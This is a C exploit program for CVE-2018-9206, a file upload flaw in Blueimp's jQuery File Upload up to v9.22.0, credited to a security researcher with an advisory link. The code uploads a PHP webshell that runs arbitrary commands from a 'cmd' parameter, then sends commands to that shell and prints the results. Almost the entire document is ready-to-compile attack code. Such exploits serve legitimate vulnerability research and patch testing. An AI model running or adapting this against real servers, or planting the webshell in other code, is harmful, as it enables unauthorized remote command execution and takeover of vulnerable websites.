Blueimp's jQuery file upload < =v9.22.0 Exploit for file upload vulnerability

/*Exploits CVE-2018-9206 to install a webshell.*/
/*http://www.vapidlabs.com/advisory.php?v=204 */
/*$ gcc main.c -o blue_exploit */
/*Larry W. Cashdollar @_larry0*/

#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>

#define BSIZE 1024
#define DEBUG 1
#define TESTONLY 0

void build_string (char *p, char *path, char *arg, char *ar1, int func);

int
main (int argc, char *argv[])
{
  int sock = 0, bytes_read = 0, total = 0, function = 0;
  struct sockaddr_in serv_addr;
  char buffer[BSIZE] = { 0 }, payload[BSIZE] = { 0};

  if (argc <= 1)
    {
      printf
("CVE-2018-9206 Exploit\n@_larry0\nUsage: %s hostname port path command\n",
argv[0]);
      return (0);
    }
  if (argc == 5)
    function = 1;
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      printf ("\nSocket creation error\n");
      return (-1);
    }

  build_string (payload,argv[3] ,argv[1], argv[4], function);

if (!TESTONLY){

  memset (&serv_addr, 0, sizeof (serv_addr));

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_port = htons (atoi (argv[2]));

  if (inet_pton (AF_INET, argv[1], &serv_addr.sin_addr) <= 0)
    {
      printf ("\nInvalid address.\n");
      return (-1);
    }

  if (connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr)) < 0)
    {
      printf ("\nConnection Failed.\n");
      return (-1);
    }
  send (sock, payload, strlen (payload), 0);
}
  if (DEBUG)
    printf ("\nSending Payload:\n%s", payload);
if (!TESTONLY) {
  while (1)
    {
      bytes_read = recv (sock, buffer, BSIZE, 0);
      total += bytes_read;
      if (bytes_read <= 0)
break;
      printf ("%s", buffer);
      bzero (buffer, BSIZE);
    }
  printf ("\n[+] Total bytes read: %d\n", total);
  close (sock);
}
  return (0);
}


void
build_string (char *p, char *path,char *arg, char *ar1, int func)
{
  if (func)
      snprintf (p, BSIZE,
"GET /%s/files/shell.php?cmd=%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery exploit/9.22.0\r\nAccept: */*\r\n\r\n", path,ar1, arg);
  else
    snprintf (p, BSIZE,
      "POST /%s/index.php HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery exploit/9.22.0\r\nAccept: */*\r\nContent-Length: 244\r\nContent-Type: multipart/form-data; boundary=------------------------c8e05c8871143853\r\n\r\n--------------------------c8e05c8871143853\r\nContent-Disposition: form-data; name=\"files\"; filename=\"shell.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php $cmd=$_GET['cmd']; system($cmd);?>\r\n\r\n--------------------------c8e05c8871143853--\r\n\r\n",path, arg);
}

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